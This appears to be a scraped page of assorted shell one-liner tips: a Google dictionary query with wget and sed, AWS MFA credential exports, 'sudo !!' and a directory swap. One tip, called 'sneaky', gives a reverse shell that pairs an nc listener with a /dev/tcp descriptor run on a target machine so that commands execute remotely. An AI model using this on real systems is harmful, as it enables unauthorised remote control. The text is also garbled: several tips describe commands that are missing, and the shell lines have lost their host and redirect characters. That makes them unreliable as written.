Check These Out
A short variant if you have only one directory whit only audio files in it.
grabbed from Andrew Aylett post:

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"
$ wget -qO - "http://www.google.com/dictionary/json?callback=dict_api.callbacks.id100&q=steering+wheel&sl=en&tl=en&restrict=pr,de&client=te"
this does the actual google dictionary query, returns a JSON string encapsulated in some fancy tag
$ sed 's/dict_api\.callbacks.id100.//'
here we remove the tag beginning
$ sed 's/,200,null)//'
and here the tag end
There are also some special characters which could cause problems with some JSON parsers, so if you get some errors, this is probably the case (sed is your friend).
I laso like to trim the "webDefinitions" part, because it (sometimes) contains misleading information.
$ sed 's/\,\"webDefinitions.*//'
(but remember to append a "}" at the end, because the JSON string will be invalid)
The output also contains links to mp3 files with pronounciation.
As of now, this is only usable in the English language. If you choose other than English, you will only get webDefinitions (which are crap).
You might want to secure your AWS operations requiring to use a MFA token. But then to use API or tools, you need to pass credentials generated with a MFA token.
This commands asks you for the MFA code and retrieves these credentials using AWS Cli. To print the exports, you can use:
`awk '{ print "export AWS_ACCESS_KEY_ID=\"" $1 "\"\n" "export AWS_SECRET_ACCESS_KEY=\"" $2 "\"\n" "export AWS_SESSION_TOKEN=\"" $3 "\"" }'`
You must adapt the command line to include:
* $MFA_IDis ARN of the virtual MFA or serial number of the physical one
* TTL for the credentials
This is sneaky.
First, start a listening service on your box.
$ nc -l 8080 -vvv &
On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.
$ exec 5/dev/tcp//8080;cat &5 >&5; done
You can send it to the background like this:
$ (exec 5/dev/tcp//8080;cat &5 >&5;) &
Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.
you will be sad after you run a command and find out it needs root, so you should run it again but with prefix sudo.
so this line is to make it simple. just 'sudo !!'
This lets you replace a file or directory and quickly revert if something goes wrong. For example, the current version of a website's files are in public_html. Put a new version of the site in public_html~ and execute the command. The names are swapped. If anything goes wrong, execute it again (up arrow or !!).
